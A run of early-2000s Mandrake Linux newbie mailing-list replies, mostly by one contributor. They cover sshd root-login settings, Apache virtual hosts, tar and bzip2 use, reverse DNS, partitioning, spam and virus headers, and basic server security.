RE: [newbie] re: Allowing SSHD to accept outside connections
snip You can also prohibit login by root user by putting the line PermitRootLogin no in /etc/sshd_config (It might be the default I do not remember) snip As of 10.0 (possibly earlier than that) the sshd_config file is under /etc/ssh/sshd_config. You are correct that it does set PermitRootLogin no as the default (as part of the comments, uncommented values change the defaults. Michael -- Michael Viron Founder, mdklinuxfaq.org Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Join the Club : http://www.mandrakeclub.com
RE: [newbie] unable to mount/read floppy
-Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Hoyt Bailey Sent: Saturday, October 09, 2004 12:08 PM To: [EMAIL PROTECTED] Subject: Re: [newbie] unable to mount/read floppy On Saturday 09 October 2004 11:23, Johan wrote: Hi, Now for years I have seen people having problems with their floppy drive..well now it has happened to me. I have various flavours of linux on this HD..suse 9.1 - mdk 10.0 - ubuntu warty and no problem with floppy. Today installed mdk 10.1 CE. Here is the entry in fstab..looks the exact same as in mdk 10.0.. none /mnt/floppy supermount dev=/dev/fd0,fs=ext2:vfat,--,umask=0,iocharset=iso8859-1,sync,codepag e=850 0 0 Kernel .. 2.6.8.1-10mdk Kindly please is there a issue in mdk 10.? Thanks In earlier version of Mandrake, there was a floppy group that you had to be part of in order to mount floppy disks. As of 10.0 it was still in there, so it is a good bet that it is still part of 10.1 CE. Try adding yourself to floppy and see if that works. Michael Viron Founder, mdklinuxfaq.org Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Join the Club : http://www.mandrakeclub.com
RE: [newbie] Partitioning new HD
-Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Paul Kaplan Sent: Tuesday, October 05, 2004 4:43 AM To: [EMAIL PROTECTED] Subject: Re: [newbie] Partitioning new HD I suggest increasing / to 10-15Mb, then putting everything but /home there. I find this leaves me plenty of room to modify an installed system. If you need more space for personal files, you can always add an external drive. Keeping /home separate allows you to destroy / and leave your personal stuff untouched. P snip I'm guessing you mean 10 - 15 GB here. With regards to partitioning, it really depends on what you are going to use the system for. With a server, you typically separate /boot, /var /home, /tmp, /, and /usr to separate partitions. With a desktop, most people will only set up a / and /home partition (possibly adding /boot). Michael -- Michael Viron Founder, mdklinuxfaq.org Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Join the Club : http://www.mandrakeclub.com
Re: [newbie] Viruses..........
One last point, the two e-mail addresses you mentioned, are most likely spoofed (since sobig.F spoofs the from address). Take a look at http://securityresponse.symantec.com/avcenter/venc/data/[EMAIL PROTECTED] sometime. Michael -- Michael Viron Core Systems Group Simple End User Linux At 06:32 PM 9/6/2003 -0700, you wrote: Message hbtype=st ?bgcolor=#DEE7EF hmark=hotbar_element hb_focus_attach=true Dear List, I received two viruses (both sobig) from the newbie list..from [EMAIL PROTECTED] and [EMAIL PROTECTED] I would suggest getting a good antivirus program. I am using a combination of Norton, Trend Micro, AVG and Benign. AVG can be gotten for free, though I use the registered version. Benign is a wonderful program that just came out that neutralizes any suspicious mail. It can be secured from www.firetrust.com. There is a 15 day trial on it and then you have to buy the program. McAfee has a good program. I am using XP at the moment, but also have Lindows installed. I have the Mandrake 9.0 as well, but it is not installed at the moment. Having gotten a number of viruses from the Newbie list, I am surprised because I thought Linux was pretty much impervious to viruses. I don't know which of the above programs can be used with Linux. Eric S. Dye, [EMAIL PROTECTED] -- Outgoing mail is certified Virus Free. Checked by AVG Anti-Virus (http://www.grisoft.com). Version: 7.0.167 / Virus Database: 259.11.7 - Release Date: 9/1/2003 Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Fw: cheval-de-frise:______ __________ __________
At 10:04 PM 9/2/2003 -0400, you wrote: This has *got* to be the most inscrutable piece of spam I have ever received...LOL! snip As one of my sites has a large international following (it sees visits from virtually every country the world over), I've received spam in spanish, italian, german, russian, chinese, korean, and even danish. Michael -- Michael Viron Core Systems Group Simple End User Linux Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] IMPORTANT (was) Fw: cheval-de-frise
Anne, looks like it was sent from adsl-67-122-222-126.dsl.snfc21.pacbell.net to the list, but wasn't a spoof (otherwise we'd see bounces from it). Michael -- Michael Viron Core Systems Group Simple End User Linux At 09:51 AM 9/4/2003 +0100, you wrote: On Thursday 04 Sep 2003 9:02 am, Anne Wilson wrote: If an email comes in with new words, but is classified properly with the previous words (ie i don't reclassify it), do any new words get added to the table? I looks as if they don't. I replied to this, explaining my use of magnets. This morning I have received one with the subject: [expert] Re: Approved. It is the one with the .pif attachment. If anyone else is using magnets for the list traffic, now is the time to reconsider. Looking at the headers, I'm confused. I was looking for something that could categorically say that it had come from the Mandrake lists. This is what I found: X-POPFile-TimeoutPrevention: 0 Return-Path: [EMAIL PROTECTED] Received: from smtp.mandrake.org (212.43.244.24) by mk-cpfrontend.uk.tiscali.com (6.7.018) id 3F547F72003A439B for [EMAIL PROTECTED]; Thu, 4 Sep 2003 09:10:51 +0100 Received: from smtp.mandrax.org (smtp.mandrax.org [80.67.180.169]) by smtp.mandrake.org (Postfix) with ESMTP id 940C94A916C; Thu, 4 Sep 2003 10:17:58 +0200 (CEST) Received: by smtp.mandrax.org (Postfix, from userid 500) id 78D7956A07; Thu, 4 Sep 2003 04:25:21 +0200 (CEST) Delivered-To: [EMAIL PROTECTED] Received: from TOSHIBA-LT (adsl-67-122-222-126.dsl.snfc21.pacbell.net [67.122.222.126]) by smtp.mandrax.org (Postfix) with ESMTP id A01C456A09 for [EMAIL PROTECTED]; Thu, 4 Sep 2003 04:23:47 +0200 (CEST) From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Date: Thu, 4 Sep 2003 1:09:24 --0700 X-Mailscanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600. X-Msmail-Priority: Normal X-Priority: 3 (Normal) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=_NextPart_000_01DAA9DE Message-Id: [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] X-Loop: newbie@ X-Sequence: 1536 Precedence: list X-Validation-BY: [EMAIL PROTECTED] Subject: [newbie] Re: Your application Sender: [EMAIL PROTECTED] X-Text-Classification: ham Status: R X-Status: N X-KMail-EncryptionState: X-KMail-SignatureState: Could someone more experienced look it over for me. Is it really coming in as a false list email, as I first thought, or is it a virused list member affecting us all? Anne -- Registered Linux User No.293302 Have you visited http://twiki.mdklinuxfaq.org yet? Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
RE: [newbie] Really great site for how-to's and a lot more
Franki, As I mention from time to time, we have http://twiki.mdklinuxfaq.org pointing there right now. (if you are wondering, I own mdklinuxfaq.org). Michael -- Michael Viron Core Systems Group Simple End User Linux At 01:22 AM 8/27/2003 +0800, you wrote: -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Eric Huff Sent: Wednesday, 27 August 2003 12:01 AM To: [EMAIL PROTECTED] Subject: Re: [newbie] Really great site for how-to's and a lot more http://www.linuxlookup.com/ Now added to http://mandrake.vmlinuz.ca/bin/view/Main/MandrakeReferences Anne Anne, thank you for being so diligent and adding stuff like this to the twiki. eric PS i plan to start helping, too, soon.. Has anyone considered getting a $6 dollar domain name from godaddy like mandake-newbies.com and using godaddy's redirect facility to redirect to put it to the wiki?? that address is too hard to remember and I am not always at my PC's when I could make use of it. rgds Franki Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Virtual Hosts in Apache 2.0
At 06:41 AM 8/15/2003 -, Roland Cruse wrote: This is a multi-part message in MIME format... =_1060908933-23073-111 On Thu, Aug 14, 2003 at 02:38:39PM -0400, Haywiremac wrote: and I know it does have an effect, as whatever document root is specified first is served, but never the second. here is my Vhosts.conf # Named VirtualHosts NameVirtualHost * VirtualHost * ServerName www.orderinchaos.org DocumentRoot /var/www/html /VirtualHost Instead of a star in the VirtualHost * directive put each of your domain names (what ZoneEdit has pointing at you). VirtualHost www.orderinchaos.org and see if that does it. I use apache on my local host and got mixed results using the * Depending on how many subdomains you have for a given domain, here's a quick rundown on what you can put in place. Say you own the domain, example.com, and you have the following names: www.example.com ftp.example.com mail.example.com dev.example.com news.example.com test.example.com and you want the following: ftp.example.com to point to /home/web/ftp dev.example.com and test.example.com to /home/web/test www.example.com and all others to point to /home/web/www You can do it for each of the domain names for a total of 6 entries, or you can do something like: VirtualHost ftp.example.com Servername ftp.example.com DocumentRoot /home/web/ftp /VirtualHost VirtualHost dev.example.com test.example.com Servername dev.example.com DocumentRoot /home/web/test /VirtualHost VirtualHost *.example.com ServerName www.example.com DocumentRoot /home/web/www /VirtualHost Keep in mind that the order for the above is important (most importantly for the *.example.com entry. Here's why: If you put the *.example.com entry before any of the other VirtualHost directives, when something comes in for dev.example.com, apache uses whatever the first match is. In the example above, it would correctly pull it from /home/web/test . On the other hand if *.example.com is before the entry (either first or second on the list), it would match that entry and incorrectly use the page from /home/web/www, instead of the correct /home/web/test -- essentially ignoring any further entries. Hope this gives everyone (especially those wanting to set up virtualhosts) something useful to work with, Michael -- Michael Viron Core Systems Group Simple End User Linux Roland =_1060908933-23073-111 Content-Type: text/plain; name=message.footer Content-Disposition: inline; filename=message.footer Content-Transfer-Encoding: 8bit Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com =_1060908933-23073-111-- Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Linux saves MS's butt.
snip Looks like they've decided to drop it or something: http://www.msnbc.com/news/952935.asp?vts=081520031730 Michael -- Michael Viron Core Systems Group Simple End User Linux You are absolutely correct. www.windowsupdate.com is not coming up. I do know, however, that it does indeed exist as I've accessed it many times in the past. Akamai has also been doing Microsoft's DNS work ever since that very large DNS crack at MS brought down most of their network 5 or so years ago, so they have been using Linux, where they needed extra security, for quite a while. -- Brant Fitzsimmons [EMAIL PROTECTED] ___ Linux user #322847 | Linux machine #207465 | http://counter.li.org/ AMD Duron 1.3GHz | Mandrake 9.1 | Kernel 2.4.21-0.25mdkcustom KDE 3.1.3 | Mozilla 1.4 Mail Client ___ All truth passes through three stages. First, it is ridiculed. Second, it is violently opposed. Third, it is accepted as being self-evident. -Arthur Schopenhauer (1788-1860) Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Mandrakesecure.net
At 03:51 PM 8/6/2003 +0100, you wrote: snip We have a TWiki site at http://mandrake.vmlinuz.ca/bin/view/Main/WebHome This can also be accessed via http://twiki.mdklinuxfaq.org (if that's more of a convenient url for you. You could also take a look at http://www.mdklinuxfaq.org once it comes up. snip Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
RE: [newbie] WE R @ it again.......my humblest apologies..
Frank, I wouldn't be too hard on yourself. I figure that I'm relatively accomplished at Linux / Unix related stuff, but I don't know everything there is know (and so therefore still have much to learn). I've been on several linux related mailing lists. I can proudly trace my involvement (albeit largely unofficial) with LPI back to June 1999, with the Redhat Mailing lists back to February '99, and on this list (albeit with 3 different mailing addresses) to sometime in 2001. Unfortunately, I've not had nearly as much time to keep up with what's going on here (I'm subscribed to 26 e-mail lists currently, which I will probably be paring back again soon). I still haven't launched mdklinuxfaq.org (even though I had hoped to have at least a basic page in place by now). By the way, you can get to Vincent Danen's twiki via twiki.mdklinuxfaq.org also I've always tried to aim high on everything I do -- so here's to hoping, Frank, that you're on the list for another 10 years! Michael At 03:47 PM 7/23/2003 +0800, you wrote: Franki replies: Thanks Carlos, but I have been on this list for over 3 years, might even be 5 or more, (I was on with a different address before this one.) can't remember how long ago, but i should know better then to get involved or worse to in advertantly start such discussions. The fact that I still do shows I still have much to learn myself. rgds Franki Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[newbie] [OT] General Comments / mdklinuxfaq.org
All, As some of you may know, I used to be much more active on these lists (if you look through the list archives, you'll see what I mean). Lately, my time to participate on any e-mail lists (including this one) has been very hard to come by. I currently have 4 separate projects that require most of my spare time, including General Education Online (http://findaschool.org), International Education Resources (http://intledresources.org), Academic Web Information Repository (http://webspinners.org), and also, the Mandrake Linux Users FAQ (http://mdklinuxfaq.org), plus various other organizations that I handle various stuff for. I also work 2 paying jobs. I do still plan on having the mdklinuxfaq.org website up soon, beyond the http://twiki.mdklinuxfaq.org website which points to Vincent Danen's TWIKI. If anyone else has a resource where they would like a dns name under mdklinuxfaq.org, please don't hesitate to let me know. I seem to remember that someone had created samba and / or ldap howtos -- anyone remember who it was? Michael -- Michael Viron Systems Administration Team Simple End User Linux Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Reasons for Linux
Just a thought, but keep in mind how much easier things have become. I'm not sure how many old-timers are on the list, but it used to be that in order to do just about anything, you had to compile it yourself. My first experience was with Slackware 3.x, and believe me, it was many times more difficult to get that box setup than nearly any setup I've done since. In Slackware 3.x, the kernel did not come compiled with networking enabled. We had to recompile the kernel for that (and since it was a P90, we had to wait 5 hours for it to finish compiling). Need to add modules to apache? Guess what, you'll have to recompile that too (unless you trust someone else's binary to work with your setup). Want a desktop environment? We had to compile that too... For that matter, the install program didn't even offer to partition automatically -- you had to know linux fdisk to set up all the partitions. Installation now is very nearly a painless process -- you pretty much select what packages you want to install, and then get guided through the configuration steps one by one. If you want to add more, well there are several GUI based front-ends for rpm installation purposes. For updates, you can download and install red-carpet, freely available from Ximian, Inc. for virtually every distribution. Linux has made great strides to become useable for the average user, and it will continue to do so. Regardless, for virtually every windows program, there is some piece of equivalent software in some phase of development that is free. Michael -- Michael Viron Systems Administration Team Simple End User Linux snip I think that's where someone should step in and make it usable to the average non-computer literate person. It took my awhile to learn how to do things. I think that could be solved with a little more automation and not painstakingly doing everything. urpmi(sp?) is great, but what about someone that doesn't know about it? Windows update if good because it says: Here's a list of crap that we think will make your computer better. Even if it doesn't help. Of course, i'm saying this from experiance, so i'm most likly wrong. How many of you that have had wives that didn't know how to use the thing? PS: Sorry about spelling. snip Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] downloading and temporary file
The other way, of course, would be to make /tmp a ln to a tmp folder on a larger partition. Michael At 01:32 PM 3/27/2003 +0100, you wrote: A browser is probably not the best way to download big files. I use a command line ftp front end, quite flexible once you get familiar with the options. For example, I used the following command to get MDK iso directly in my /home: wget --progress=dot --proxy=on --proxy-user=xxx --proxy-passwd=zzz --continue --tries=20 ftp://ftp-stud.fht-esslingen.de/pub/Mirrors/Mandrake-iso/i586/MandrakeLinux -9.1-rc3-CD2.i586.iso wget supports continuation, so if the transfer is interrupted for some reason, when you restart it will continue from the last byte it downloaded. proxy options may not apply to your case. To see what files are taking space, you can use # du | sort -n du stands for Disk Usage. sort -n sorts numerical values. Mozilla performs the download in /tmp, then moves the file. I don't know about Galeon. raffaele [EMAIL PROTECTED] wrote: Trying to download 9.1 isos. It does not work because it appears my / is almost full. I have plenty of room on some other partitions where I am actually saving the isos. Problem is probably that it attempts to create some temporary file and there is not enough room for that. Is it possible to make it create this temp-file on some other partition? I use Galeon for downloading. Question related to this - how can I find out what is filling my / ? I checked /var/log and it seems to be mostly OK there but checking it file by file is not my idea of getting fast and reliable results :-) Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Booting up without GUI in Mandrake 9.0
I'd just like to mention a few things, as follows: At 05:30 PM 3/13/2003 +, you wrote: Brian wrote: I am told that some Linux distributions have a non-GUI mode where you brian, to exit 'X', as it may be your ref to 'gui', pressing 'ctrl+alt+backspace' drops you to cli, command line input, 'non-gui'. if you press ctrl+alt+backspace in runlevel 5, you won't drop to cli, but instead will restart the X server. changing to 'console' from X to cli is by pressing 'ctrl+alt+fn', where 'fn' is function keys f1 thru f6. The default is f1 - f6, yes, but you can add more if you want (or remove them) by looking at /etc/inittab, and adding or removing lines such as: 6:2345:respawn:/sbin/mingetty tty6 changing 'consoles' from cli is by pressing 'alt+fn', where 'fn' is function keys f1 thru f6, and f7 returns you to X, if previously open. else use 'startx'. have a look thru 'linux documents', /usr/share/doc/mandrake/en/index.html, on your desktop. there you will find info for boot process and init files. Or, to get more recent copies, try http://www.tldp.org Michael -- Michael Viron Manager of Online Operations / Project Manager General Education Online Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Aargh: Internet Explorer HTTPS = DNS fail
Under tools -- Internet Options -- Advanced tab, make sure that Show friendly HTTP error messages is unchecked. That will provide information on what the error actually is. Michael At 10:46 PM 2/12/2003 +1300, you wrote: Does somebody recognize a strange error a friend is having while making HTTPS attempts to connect to his bank with IE (Never thought i'd be asking this one here). IE returns an Error Page with no number (like 404) The page advises it could be caused by - site temporarily unavailable - slow connection - incorrect address - site doesn't exist (Sounds 404ish doesn't it) He was previously connecting OK to this site. It does still exist. All Security settings are checked on in Tools Internet Options Advanced tab Security (SSL 2.0, SSL 3.0, TLS 1.0, PCT 1.0). I did see a momentary request for http://https://web.site.name, Which may be the problem, or it may be an attempt to re-lookup after the initial failure. My second course of action is to reload win98 for him as neither the bank nor his ISP could help. Loading Mandrake for him is not an option as he is on a course which requires Word and Outlook Express (AAARGH again). -- Michael Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] This fellow needs help. His mails are being rejected.
snip Not completely correct. What you refer to is the fact that it can happen that the reverse lookup results in a different name than the domain provided originally, e.g. $ urpmi bind-utils $ host www.nic.de www.nic.de has address 194.246.96.76 but $ host 194.246.96.76 76.96.246.194.in-addr.arpa domain name pointer direct.denic.de. 76.96.246.194.in-addr.arpa domain name pointer intern.denic.de. 76.96.246.194.in-addr.arpa domain name pointer member.denic.de. 76.96.246.194.in-addr.arpa domain name pointer secure.denic.de. 76.96.246.194.in-addr.arpa domain name pointer project.denic.de. 76.96.246.194.in-addr.arpa domain name pointer transit.denic.de. 76.96.246.194.in-addr.arpa domain name pointer wwwtest.denic.de. 76.96.246.194.in-addr.arpa domain name pointer intern-old.denic.de. 76.96.246.194.in-addr.arpa domain name pointer www.denic.de. 76.96.246.194.in-addr.arpa domain name pointer jobs.denic.de. 76.96.246.194.in-addr.arpa domain name pointer test.denic.de. 76.96.246.194.in-addr.arpa domain name pointer board.denic.de. Although they made the effort to list all the reverse lookups, they missed www.nic.de in their list. So if the server makes a connection as www.nic.de (which they probably don't do), the other side would end up with a different name by the reverse lookup. Having a different name on reverse lookup does not block the mail. This message got through from topoi.pooq.com, and it looks up as follows: snip So although reverse lookip of the IP number gives a different name from topoi.pooq.com, when (if?) it looks up that different name it still gets the proper IP number. By the way, I'm told that one of the purposes of using the reverse name lookup is to catch stolen IP numbers, which apparently has been a big problem in some countries. -- hendrik The point here was that there is no reverse entry for (in the example above), www.nic.de . This wasn't debating whether or not an e-mail would get sent if the reverse lookup entries were correct, but what would happen if they are incorrect or missing. Michael -- Michael Viron Database Web Statistics Administrator Core Systems Group Simple End User Linux Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] BIGDRIVES (128G) and MDK 9.0
I was talking about IDE hard drives, not SCSI or RAID arrays -- sorry that I didn't make that clearer. Michael At 09:19 AM 1/30/2003 -0700, you wrote: I don't belive that is true. I have mounted a 2 terabyte scsi disk with MDK 9.0 no problem. It was an external scsi self-contained hardware based RAID, but still only appeared as one logical drive to the system. ~~Brad On Thursday 30 January 2003 06:31 am, you wrote: At this point, hard drives larger than 137 GB are only supported (by default) in the 2.5.3 kernel and higher. This is a kernel related problem, not a mandrake issue. For more information, take a look at http://www.win.tue.nl/~aeb/linux/Large-Disk.html . Michael Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] linux terminal on windows?
At 09:37 AM 1/12/2003 +1100, Stephen Kuhn wrote: On Sun, 2003-01-12 at 07:40, Adolfo Bello wrote: It really is easy and fast to setup VNC to run for remote login - you get a desktop (KDE or G()NOME - if you've got a 100mb connection on your network, it's beautiful - and you can run it in a window in Windows - on the same token, you can control/use your Windows machines in the same manner using VNC. True multitasking! Stephen (or someone else), Could you post a link that points to information on how to set this thing up? Adolfo http://www.uk.research.att.com/vnc/ It's free! Actually, the better way to get to it (since that url may be phased out at some point) is via http://www.realvnc.com/ . Michael Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Regarding off-toppic chit-chats: IRC
Is this besides the #mandrake channel on irc.freenode.net ? Michael -- Michael Viron Core Systems Administration Team Simple End User Linux At 05:58 PM 1/8/2003 -0800, you wrote: PS. i'd be all for it. it'd be nice to have a list channel. If ya need a bot, you can also run eggdrop (comes with mandrake 8.2, i think it's in the 9.0 contribs too) An IRC channel sounds like a great idea. Starlink looks fine, but it only has one server in Europe. :( BTW, Eggdrop 1.6.13 works like a champ on mdk 9.0, they fixed some old bugs in this new version. ~Branodn Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Which version please
Just to clarify -- the last release for the 486 was 7.0, not 8.0 . If you installed 8.0 and had it working, it was a Pentium class processor. Michael At 08:46 AM 12/28/2002 -0600, you wrote: I IMHO would recommend you use 8.0 if you can get it to work. I too think it is a great version, an until just today I have stuck with it because I could not get everything working in 8.2 or 9.0 so I would have to go back to 8.0. I finally got my printer ( hp 820cse ) working in 9.0 so now I'll stick with it for now. But with that amount of Memory I'd try 8.0 first. I have run it on a 486 with 48 mg or ram. My 2 cents Mike McNeese Springdale, Arkansas USA ° Currently triple booting 98lite; MDK 8.0 kernel 2.4.3-20; MDK 9.0 kernel 2.4.19-16 Registered Linux User #248955 Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
RE: [linux] [newbie] Tar - Is there a 2Gb limit file size on NT4
Actually, FAT32 has been included as an available filesystem since win 95B came out. As for winnt 4, you have to purchase it as an extra piece of software. Michael -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online BTW www.sysinternals.com offer a FAT32 filesystem for NT (for a moderate cost.) I've used it for some time and it works fine. It allows both Win9x and NT (and Linux) to all use a halfway decent filesystem. Of course, Win2k and XP don't have this problem. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Problems getting bzip2 to work......
The page details how to uncompress the files if they are in .tar.gz format -- going through the options for tar: x - extract z - unzip (via gzip / gunzip) v - verbose f - use file following this flag To unbzip2 a compressed file, you'll have to do: x - extract j - unbzip2 (for newer, 8.0 and above releases) v - verbose f - use file following this flag (so that command would be tar -xjvf Linneighborhood-0.6.5.tar.bz2 without the quotes). For more info, do a man bzip2, man tar, and man gzip without the quotes. -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online At 08:24 AM 11/28/2002 +, you wrote: Hello there. I am a long term Windows user/tech support person who has recently installed Mandrake Linux, partly out of curiosity, partly because I feel it's the coming thing. I managed to install it, get it on our training LAN, mount drives and what not without any bother, but I've run into a spot of trouble trying to set up LinNeighborhood. Now, I downloaded the LinNeighborhood rpm, and it seemed to install ok, leaving me with some entries at the root. I found a web page detailing what must be done to properly unzip and install the Linneighborhood-0.6.5.tar.bz2 file, which is: tar -xzvf LinNeighborhood-0.6.5.tar.gz cd LinNeighborhood-0.6.5 ./configure make make install The problem is that when I enter the first line I get a 'not in gzip format' message. I figured, ok then, I'll install bzip2. This is where I've ground to a halt. I installed bzip2 from files from a webpage, couldn't get it to work. Then tried to install bzip2 from the Mandrake cd, it reported that bzip2 was already installed. I changed the 'file associations' to point any .gz or bz or bz2 files towards the bzip2 app, but still no joy. Where am I going wrong? Why is it that bzip2 doesn't appear anywhere on the start menu, or why is it that if I create a desktop link to /usr/bin/bzip2, nothing happens when I click on it? And if bzip2 really is installed, why can't I get past the 'not in gzip format' bit. Why doesn't bzip2 unzip the file instead of gzip refusing to? I installed Mandrake Linux 9.0 for the first time 10 days ago. I'm using the KDE gui. The pc is a Compaq EVO P4, with 256mb ram. Please help a Linux novice out? All the best Ronnie Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Problems getting bzip2 to work......
You need to install automake, autoconf, and gcc. Michael At 09:48 AM 11/28/2002 +, you wrote: Thanks! The j switch did the job and unzipped the bz2 file, creating the LinNeighborhood directory without problem. However, when I then try the following commands, I get error messages ./configure make make install [root@derfel LinNeighborhood-0.6.5]# ./configure checking for a BSD compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking whether make sets ${MAKE}... yes checking for working aclocal... missing checking for working autoconf... missing checking for working automake... missing checking for working autoheader... missing checking for working makeinfo... found checking for gcc... no checking for cc... no checking for cc... no checking for cl... no configure: error: no acceptable cc found in $PATH [root@derfel LinNeighborhood-0.6.5]# make make: *** No targets specified and no makefile found. Stop. [root@derfel LinNeighborhood-0.6.5]# make install make: *** No rule to make target `install'. Stop. Any advice? Out of curiosity, what is the LinNeighborhood executable called, I'm guessing (bravely enough) that it's Linneighborhood dot something? I think I read that it should be in /usr/local/bin, though there's nothing at all in that directory. Thanks to all who gave me advice, it was and is greatly appreciated. Ronnie Michael Viron [EMAIL PROTECTED]@linux-mandrake.com on 28/11/2002 08:49:30 Please respond to [EMAIL PROTECTED] Sent by:[EMAIL PROTECTED] To:[EMAIL PROTECTED] cc: Subject:Re: [newbie] Problems getting bzip2 to work.. The page details how to uncompress the files if they are in .tar.gz format -- going through the options for tar: x - extract z - unzip (via gzip / gunzip) v - verbose f - use file following this flag To unbzip2 a compressed file, you'll have to do: x - extract j - unbzip2 (for newer, 8.0 and above releases) v - verbose f - use file following this flag (so that command would be tar -xjvf Linneighborhood-0.6.5.tar.bz2 without the quotes). For more info, do a man bzip2, man tar, and man gzip without the quotes. -- Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online At 08:24 AM 11/28/2002 +, you wrote: Hello there. I am a long term Windows user/tech support person who has recently installed Mandrake Linux, partly out of curiosity, partly because I feel it's the coming thing. I managed to install it, get it on our training LAN, mount drives and what not without any bother, but I've run into a spot of trouble trying to set up LinNeighborhood. Now, I downloaded the LinNeighborhood rpm, and it seemed to install ok, leaving me with some entries at the root. I found a web page detailing what must be done to properly unzip and install the Linneighborhood-0.6.5.tar.bz2 file, which is: tar -xzvf LinNeighborhood-0.6.5.tar.gz cd LinNeighborhood-0.6.5 ./configure make make install The problem is that when I enter the first line I get a 'not in gzip format' message. I figured, ok then, I'll install bzip2. This is where I've ground to a halt. I installed bzip2 from files from a webpage, couldn't get it to work. Then tried to install bzip2 from the Mandrake cd, it reported that bzip2 was already installed. I changed the 'file associations' to point any .gz or bz or bz2 files towards the bzip2 app, but still no joy. Where am I going wrong? Why is it that bzip2 doesn't appear anywhere on the start menu, or why is it that if I create a desktop link to /usr/bin/bzip2, nothing happens when I click on it? And if bzip2 really is installed, why can't I get past the 'not in gzip format' bit. Why doesn't bzip2 unzip the file instead of gzip refusing to? I installed Mandrake Linux 9.0 for the first time 10 days ago. I'm using the KDE gui. The pc is a Compaq EVO P4, with 256mb ram. Please help a Linux novice out? All the best Ronnie Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] OT: Root Password Failure
As far as security goes, yes absolutely, you should password protect Grub, as well as place put a bios password on your system and disable booting from floppy and cd-rom. Anthony Not to mention that if you're using the machine as a server, it would be a wise idea to get a case that you can lock the case and the front. This way, someone can't get into the case, pull out the bios battery (resetting the bios to the default settings.) or press the power button to shutdown the machine. Of course, it isn't very likely that someone will go to all that trouble unless you've got some seriously confidential stuff on there. Of course, servers should also preferably be kept in a room that only required personnel have access to. Michael Viron Project Manager / Primary Developer / Manager of Online Operations General Education Online Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] what does it want . . . and why?
